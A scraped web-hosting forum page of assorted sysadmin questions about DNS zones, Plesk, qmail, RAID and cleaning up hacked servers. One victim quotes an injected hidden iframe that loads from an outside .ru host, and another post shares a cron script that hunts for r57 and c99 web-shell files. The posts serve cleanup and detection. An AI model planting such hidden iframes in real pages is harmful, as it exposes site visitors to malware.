How To Find (and Replace) "^@" Control Characters In Files
Apr 28, 2009
I have an odd problem... after transferring several hundred .php files to one of our servers we noticed that the browser was showing "?" output only.
When I open the file in "vi" (we're running centos 5.x), I can see this at the end of the file:
Code:
...
</HTML>
^@^@<?php //comment goes here ?>
-------------
I highlighted in red bold the problem text. If these four characters are removed from the file (edited out manually using vi) then the file displays and works correctly.
However.. there are several hundred of these files, and some have the problem and some don't.
I've tried everything I know to find which files contain the problem, but so far no luck.
ie:
grep -r "^@" .;
grep -r "^@" .;
Basically.. I need to find any instance of these characters and then remove them.
View 3 Replies
ADVERTISEMENT
Jul 25, 2007
My old VPS was hacked and an iframe html string was added to just about all the files on the server.
I've since then identified the vulnerability and moved to a new host and want to copy the accounts over but wanted to know if there was an easy way to search all the files for this html code and delete it?
For example, search all files for <iframe etc etc> and delete it?
I know this is probably rather simple...but I have no idea how to do it.
View 2 Replies
View Related
Jan 14, 2007
I have anywhere between 80,000 - 90,000 webpages that have a single code into this. Unfortunately at the time the web developer I used didn't use PHP includes. So each .html file has the code in it.
I want a way so I can do a single command either a program or an SSH command can find the syntax in the files and replace it will code I have. Its just a single line of code that is basically for an adsense code, so the pub-blahblahblah etc..
Does anyone know of a SSH command I can use, or a program that will find and replace without manually opening up each file? 80k - 90k of opening files then find/replace will take forever!
View 11 Replies
View Related
May 25, 2014
I am trying to restore a backup that Parallels Plesk made (latest version) and I used to get the option at some point to replace everything. Now, I only get the options to select what I want to restore and it fails because it says certain things, domains, content is already there.
I can't find the option anymore that allows me to say replace everything during the backup. Was that removed? If so, I'd really....really like it back.
Warning:
Failed deployment of domain localhost.localdomain
Warning:
Execution of /usr/local/psa/admin/plib/api-cli/domain.php --create localhost.localdomain -owner admin -do-not-apply-skeleton -notify false -guid 4fe5de63-3103-4fa0-a01c-04894e167107 -vendor-guid 75b2fa01-6c6e-4cb2-8f1b-9c69757fd3ec -creation-date 2014-02-13 -ip 46.165.251.98 -ignore-nonexistent-options failed with return code 1.
Stderr is
An error occurred during domain creation: There are no available resources of this type (domains) left. Requested: 1; available: 0.
View 1 Replies
View Related
Jun 26, 2008
I have two quick questions.
Question 1
I had a script create a backup of every file on my site using the following format "filename.php.bac". I want to delete these files now and I tired to use "rm *.bac" but that only deleted the files in the current directory. How can I delete ALL those files in EVERY directory and sub-directory starting at the public_html directory?
Question 2
How can I escape semi-colon's (;) in a perl script? I'm trying to run a search+replace script to update some Analytics code and I have a ton of files to update but for some reason if there is a semi-colon in the find varable, it assumes that it has reached the end of the contents in that variable.
Here is the code. Take a look at the $find variable and you will see extra semi-colon's. How do I tell the script to not treat those semi-colons as the end of the variable? .........
View 5 Replies
View Related
Jul 10, 2009
My server was being hacked, I can find some HTML and PHP files which inserted the codes similar to the following by the hacker.
HTML Code:
<iframe src="http://a5g.ru:8080/ts/in.cgi?pepsi94" width=125 height=125 style="visibility: hidden"><
/iframe>
The inserted iframe src is not the same among the hacked files.
I am trying to find out all the hacked files on server, is there any way instead of checking the files manually?
View 14 Replies
View Related
Mar 27, 2009
I have a dedicated server, the server itself is secure (as far as I know) and I run lots of my sites from it. I offered a friend hosting for his flash based chat application he built.
Today I was contacted by someone; "Are you the owner of xxxx.net?" so I informed that yes, it was my server and they then showed me an email they'd received from my server. I did a search and apparently someone uploaded mail.php and a couple of files it was using to send out spam based upon a variety of conditions that the other files met. The files contained forenames and surnames, it'd use a forename and a surname then send it to popular free mail services. The email contained ramblings about new world order and promoted a website.
How can I find out how they got the files uploaded to the account and what action can I take? I checked the whois for the domain and have their contact information, however it's a large site so I'm doubtful that the owner did it. I don't want my servers IPs being blacklisted for spam :|
View 3 Replies
View Related
Apr 23, 2009
Is there a way to get Apache to tell me which .conf file it is loading at start-up?
There's a box that's misbehaving and Apache is running on port 80 and 8080 on the box... but we can't locate *why* it's running on port 8080. I can't find any Listen 8080 statement in the typical config files. If I knew which config files it was loading, I could go through all of the files in more detail.
View 4 Replies
View Related
Aug 19, 2007
i bought a dedicated server without control panel with Fedora Core 6 for install as webserver LightTPD.
Now i must configure the DNS zones files. For do that i added to my named.conf file this:
Code:
zone "mywebsite.net" {
type master;
file "/var/named/mywebsite.net.db";
};
zone "ns1.mywebsite.net" {
type master;
file "/var/named/ns1.mywebsite.net.db";
};
zone "ns2.mywebsite.net" {
type master;
file "/var/named/ns2.mywebsite.net.db";
};
This are my ZONE files:
mywebsite.net.db
Code:
; Zone file for mywebsite.net
$TTL 14400
@ 86400 IN SOA ns1.mywebsite.net. admin.fastwebnet.com. (
2007081900 ; serial, todays date+todays
86400 ; refresh, seconds
7200 ; retry, seconds
3600000 ; expire, seconds
86400 ) ; minimum, seconds
mywebsite.net. 86400 IN NS ns1.mywebsite.net.
mywebsite.net. 86400 IN NS ns2.mywebsite.net.
mywebsite.net. IN A 208.109.108.10
localhost.mywebsite.net. IN A 127.0.0.1
mywebsite.net. IN MX 0 mywebsite.net.
mail IN CNAME mywebsite.net.
www IN CNAME mywebsite.net.
ftp IN A 208.109.168.10
ns1.mywebsite.net.db
Code:
@ IN SOA ns1.mywebsite.net. admin.fastwebnet.com. (
2007081900 ; serial, todays date+todays serial #
28800 ; refresh, seconds
7200 ; retry, seconds
3600000 ; expire, seconds
86400 ) ; minimum, seconds
ns1.mywebsite.net. IN NS ns1.mywebsite.net.
ns1.mywebsite.net. IN NS ns2.mywebsite.net.
ns1.mywebsite.net. IN A 208.109.108.10
localhost.ns1.mywebsite.net. IN A 127.0.0.1
ns1.mywebsite.net. IN MX 0 ns1.mywebsite.net.
mail IN CNAME ns1.mywebsite.net.
www IN CNAME ns1.mywebsite.net.
ftp IN CNAME ns1.mywebsite.net.
ns2.mywebsite.net.db
Code:
@ IN SOA ns1.mywebsite.net. admin.fastwebnet.com. (
2007081900 ; serial, todays date+todays serial #
28800 ; refresh, seconds
7200 ; retry, seconds
3600000 ; expire, seconds
86400 ) ; minimum, seconds
ns2.mywebsite.net. IN NS ns1.mywebsite.net.
ns2.mywebsite.net. IN NS ns2.mywebsite.net.
ns2.mywebsite.net. IN A 208.109.108.10
localhost.ns2.mywebsite.net. IN A 127.0.0.1
ns2.mywebsite.net. IN MX 0 ns2.mywebsite.net.
mail IN CNAME ns2.mywebsite.net.
www IN CNAME ns2.mywebsite.net.
ftp IN CNAME ns2.mywebsite.net.
After i have restartet named :
service named start
This is the output in /val/log/message
Code:
Aug 19 07:54:33 ip-208-109-108-10 named[12209]: starting BIND 9.3.4-P1 -u named -c /etc/named.caching-nameserver.conf -t /var/named/chroot
Aug 19 07:54:33 ip-208-109-108-10 named[12209]: found 2 CPUs, using 2 worker threads
Aug 19 07:54:33 ip-208-109-108-10 named[12209]: loading configuration from '/etc/named.caching-nameserver.conf'
Aug 19 07:54:33 ip-208-109-108-10 named[12209]: listening on IPv6 interface lo, ::1#53
Aug 19 07:54:33 ip-208-109-108-10 named[12209]: listening on IPv4 interface lo, 127.0.0.1#53
Aug 19 07:54:33 ip-208-109-108-10 named[12209]: command channel listening on 127.0.0.1#953
Aug 19 07:54:33 ip-208-109-108-10 named[12209]: command channel listening on ::1#953
Aug 19 07:54:33 ip-208-109-108-10 named[12209]: zone 0.in-addr.arpa/IN/localhost_resolver: loaded serial 42
Aug 19 07:54:33 ip-208-109-108-10 named[12209]: zone 0.0.127.in-addr.arpa/IN/localhost_resolver: loaded serial 1997022700
Aug 19 07:54:33 ip-208-109-108-10 named[12209]: zone 255.in-addr.arpa/IN/localhost_resolver: loaded serial 42
Aug 19 07:54:33 ip-208-109-108-10 named[12209]: zone 0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.arpa/IN/localhost_resolver: loaded serial 1997022700
Aug 19 07:54:33 ip-208-109-108-10 named[12209]: zone localdomain/IN/localhost_resolver: loaded serial 42
Aug 19 07:54:33 ip-208-109-108-10 named[12209]: zone localhost/IN/localhost_resolver: loaded serial 42
Aug 19 07:54:33 ip-208-109-108-10 named[12209]: zone mywebsite.net/IN/localhost_resolver: loaded serial 2007081900
Aug 19 07:54:33 ip-208-109-108-10 named[12209]: /var/named/ns1.mywebsite.net.db:1: no TTL specified; using SOA MINTTL instead
Aug 19 07:54:33 ip-208-109-108-10 named[12209]: zone ns1.mywebsite.net/IN/localhost_resolver: loaded serial 2007081900
Aug 19 07:54:33 ip-208-109-108-10 named[12209]: /var/named/ns2.mywebsite.net.db:1: no TTL specified; using SOA MINTTL instead
Aug 19 07:54:33 ip-208-109-108-10 named[12209]: zone ns2.mywebsite.net/IN/localhost_resolver: loaded serial 2007081900
Aug 19 07:54:33 ip-208-109-108-10 named[12209]: running
Aug 19 07:54:33 ip-208-109-108-10 named[12209]: zone mywebsite.net/IN/localhost_resolver: sending notifies (serial 2007081900)
Aug 19 07:54:33 ip-208-109-108-10 named[12209]: zone ns1.mywebsite.net/IN/localhost_resolver: sending notifies (serial 2007081900)
Aug 19 07:54:33 ip-208-109-108-10 named[12209]: zone ns2.mywebsite.net/IN/localhost_resolver: sending notifies (serial 2007081900)
I have changed at my registrar the DNS adresses to NS1.mywebsite.net and NS2.mywebsite.net, the result is that work only NS1.mywebsite.net:
Code:
[url] --> don't work
[url] --> work
[url] --> don't work
View 0 Replies
View Related
Sep 1, 2007
Try this useful script to find all 777 permission files and folders in /home directory
also it can find all names of suspected folders and files you want
and then you can take the required action
to install this follow the steps
login as root
Code:
cd /root
Code:
pico checkpandnscript.sh
Enter this code and in the 5th line from the end change
email@email.com to your email
Code:
# This file will help you to find suspected folders and files in /home directory
# Coded and desgined by Alrutani Web Hosting www.alrutani.com , for more informations please contact us.
#!/bin/sh
echo " " > /root/perdfmbc
echo "################# Folders with 777 permission #################" >> /root/perdfmbc
echo " " >> /root/perdfmbc
find /home -type d -perm 777 |egrep -v "./cpapachebuild|./.cpan|./src" >> /root/perdfmbc
echo " " >> /root/perdfmbc
echo "################## Files with 777 permission ##################" >> /root/perdfmbc
echo " " >> /root/perdfmbc
find /home -type f -perm 777 >> /root/perdfmbc
echo " " >> /root/perdfmbc
echo "############### Folders & files must be checked ###############" >> /root/perdfmbc
echo " " >> /root/perdfmbc
find /home -name forum >> /root/perdfmbc
find /home -name upload >> /root/perdfmbc
find /home -name 4images >> /root/perdfmbc
find /home -name gallery >> /root/perdfmbc
find /home -name uploader >> /root/perdfmbc
find /home -name up >> /root/perdfmbc
find /home -name r57shell >> /root/perdfmbc
find /home -name r57shell.php >> /root/perdfmbc
find /home -name r57.php >> /root/perdfmbc
find /home -name c99shell >> /root/perdfmbc
find /home -name c99shell.php >> /root/perdfmbc
find /home -name c99.php >> /root/perdfmbc
find /home -name shell.php >> /root/perdfmbc
echo " " >> /root/perdfmbc
echo "###############################################################" >> /root/perdfmbc
echo "Developed by Alrutani Web Hosting http://www.alrutani.com" >> /root/perdfmbc
echo "For more informations please contact us." >> /root/perdfmbc
echo " " >> /root/perdfmbc
cat /root/perdfmbc | mail -s "Suspected files & folders in your server" email@email.com
cd /root
rm -rf perdfmbc
# This file will help you to find suspected folders and files in /home directory
# Coded and desgined by Alrutani Web Hosting www.alrutani.com , for more informations please contact us.
To add more files and folders that you want the system to list
fine
Code:
find /home -name upload >> /root/perdfmbc
after it add
Code:
find /home -name xxxxxx >> /root/perdfmbc
where xxxxx is the name of the file or the folder you want
Save file Ctrl X
select yes then click enter
Code:
chmod 755 checkpandnscript.sh
To make the script works daily
Code:
crontab -e
At the end enter
Code:
* 3 * * * sh /root/checkpandnscript.sh
save and exit done !!
now to test the script
Code:
cd /root
Code:
sh checkpandnscript.sh
you will receive email from the server
View 2 Replies
View Related
May 22, 2015
Every out bound email message fails and stays in the queue. The mail log shows this error.
qmail: 1432283802.380653 delivery 27: deferral: Unable_to_read_control_files._(#4.3.0)/
A second problem, also qmail is that I can't send to the server using TLS on the submission port, only if I do plain text. But the first problem is bigger because we can't send at all.
This is a new plesk installation and it has never worked.
View 7 Replies
View Related
Apr 14, 2007
I am being hacked & I don't know how they are getting files on my server. They are doing it on two of my domains, I suspended one and then they got it on the other. My FTP access log does not show anything suspicious..
How can I find their doorway?
View 4 Replies
View Related
Oct 15, 2007
how can i do a search for all files (probs using regex) of files consisting purely of numbers?
for e.g. find:
53243.php
24353.php
24098.php
(always have 5 numbers).
seems one of my accounts has had some script run which generated a bunch of these in various subfolders, and the php file basically does a callback to www3.rssnews.ws and www3.xmldata.info, which seem to be some sort of spyware servers.
View 10 Replies
View Related
Feb 12, 2008
I colo a 1U machine with 2-36gig drives. They're not in RAID, and I have it set to rsync backups to a remote machine on a regular schedule. I have another remote machine functioning as a secondary DNS. Neither of these 2 are on a large upstream pipe. I just bought 2-147gig drives that I'd like to replace the 36g's with. How does this sound for a scenario to accomplish this with little downtime (pre-pardon my noob'ish ways):
1. Do a complete rsync of the filesystem to my remote machine as well as sync the mysql db's (to 1 remote drive).
2. Pop that single rsync'd drive into an external enclosure.
3. Travel to datacenter, once there, plug external drive into laptop and start up a VM that boots off of that drive.
4. Sync again so external drive has the most up-to-date data.
5. Change over IP's from colo to VM on laptop.
6. Shutdown and swap out drives in colo'd box with the new ones.
7. Setup new drives as RAID 1, install OS, then rsync filesystem over from laptop to new drives in colo'd box.
8. Change back IP's.
What am I missing, or is there an easier way without a 2nd colo/dedicated server? Currently, the colo'd machine is using about 1.3Mbit/sec outbound and it's running a low load.
View 5 Replies
View Related
Apr 16, 2009
Recently a drive in one of my main box's has failed.
Ive contacted my provider, however there SLA states - 4 Hours for hardware replacement.
It takes 4 hours to replace a harddrive? What are they, sloths?
Anyone else had similar experiences when attempting to get drives replaced?
View 14 Replies
View Related
Jun 21, 2009
we know hypervm/lxadmin have some exploit. My server is ruuning with lxadmin. Is there any panel to replace it? I mean we can easily to reload OS, use File Manager like hypervm...
View 4 Replies
View Related
Jul 21, 2009
i have a msi server with three seagate HD,
and use seagate ST336607LC to do raid5.
the raid card is adaptec 2200S,
it is installed with centos with cpanel.
today,the websites shows 500 internal error and i asked the DC reboot,
minutes later,the websites run well.
but minutes later,it down again,and i ssh to reboot,
minutes,it shows file system problem,it seems readonly?...in my memory.
and i ask the DC to reboot again,
and i still can not login,and the DC staff tell me it shows with "operation system not found"...
and i go to DC,
it shows there is no logical drives... and operation system not found.
and i try to use ctrl+a to access raid control panel,
it shows there is no raid setting....
and i try to verify the hds in raid control panel,
it shows my 3rd hd has defect and ask if want to assign new block,
at begining,i chose no,it still can not load the os.
and then i chose yes to reassign the block and passing the verify,
but it still can not load the os.
i can not get any ST336607LC now,
i want to ask can i use larger HD to replace the 3rd hd?
if yes,after replacing and booting,
should i reset the raid configuation?
View 7 Replies
View Related
Nov 4, 2009
Currently paying 24.95/month with Hostgator on a reseller plan but am only using ~2Gb drive space and less than 2Gb or monthly transfer.
Would be nice to find a VPS that has CPanel for about the same price range.
View 13 Replies
View Related
Jan 4, 2007
I have a site but it was corrupted due to server problem with host. I have a back-up of DB in phpMySQL.
I am now installing the same script in new server and the site is now running.
The problem is, I want to use my back-up database and replace the existing one. How to do this?
View 2 Replies
View Related
Jun 1, 2009
I'm trying to replace my Linux OS with Windows Server 2003, which I already have a license.
I'm talking about OVH Kimsufi XL.
Following support's instructions, I booted my dedicated with netboot, specific with vkvm option.
Then I specified an ftp location, (where there is my "totally working" .iso), and I started the virtual session.
After some mins, a java windows appears, and starts the vnc session.
After usual linux loading, it stops on this :
Code:
VFS: Cannot open root device "801" or unknown-block(8,1)
Please append a correct "root=" boot option; here are the available partitions:
0300 244198584 hda driver: ide-gd
0301 5245191 hda1
0302 238428687 hda2
0303 522112 hda3
Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(8,1)
And, besides I cant write a letter!
View 13 Replies
View Related
Apr 18, 2007
I would like to replace my index file every three hours, with a specified file on the server thats in a different folder (someone keeps putting unwanted stuff in my index file) Can someone explain to me how this is done?
View 2 Replies
View Related
Feb 23, 2014
I have one customer installed with plesk 11.5 + power pack integrated with mssql 2008 express on his server.But now client want to install Mssql 2008 web edition. Is this possible to replace the express edition with web in plesk panel?
View 1 Replies
View Related
Oct 4, 2008
I've got a dedicated server through Liquid Web. I can't say enough about how great the reliability and service has been since I switched over to them a number of months ago.
Nevertheless, with the advent of cloud hosting, I'm intrigued by the idea of paying for what I actually use on a server rather than having way more capacity than I need 90% of the day.
I've looked around here and there's a bit of talk about it but it doesn't seem like folks are scrambling into it and it also appears that the offereings are still relatively immature.
I really don't have the time to devote to tweaking, etc or figuring out something really complicated.
I'll stick to my dedicated server if it means tons of extra work or potential downtime or massive frustration but I wanted to get some feedback from the community about whether or not there are some stable cloud hosting options that are emerging that might be worth considering.
View 14 Replies
View Related
Apr 6, 2008
2008-04-06 08:52:32.597ERRORApache Binary Path must be set properly in order replace Apache, fall back to 'Reload on configuration file change'.
2008-04-06 08:52:32.602WARN[configerver:listener] No listener is available for normal virtual host!
2008-04-06 08:52:32.604ERROR[config:template:centralConfigLog] Listener [Default] does not exist
2008-04-06 08:52:32.605ERROR[config:templateHP_SuEXEC] Listener [Default] does not exist
2008-04-06 08:52:32.605ERROR[config:template:EasyRailsWithSuEXEC] Listener [Default] does not exist
2008-04-06 08:52:32.617WARNStandard Edition only support up to 5 Apache vhosts.
I did everything on the litespeed setup I was soppose to found at their wiki site. But still I recieve these errors, LiteSpeed works on my server because httpd is disabled and LiteSpeed is responding to request now.
View 8 Replies
View Related
Mar 15, 2008
Someone reported invalid arabic characters in webmail (squirremail precisely)
How can I correct this on a cpanel box?
View 3 Replies
View Related
Mar 29, 2008
I'm seeing weird characters on my support home page:
That's found right below "Home > Support"
The source code shows the following...
Quote:
<tr>
<td style="padding:0px"><p>Welcome to our Support Area.</p>
I've checked the two template files (header.tpl and homepage.tpl) but did not find such characters. Its boggling me. Not even whitespace.
View 4 Replies
View Related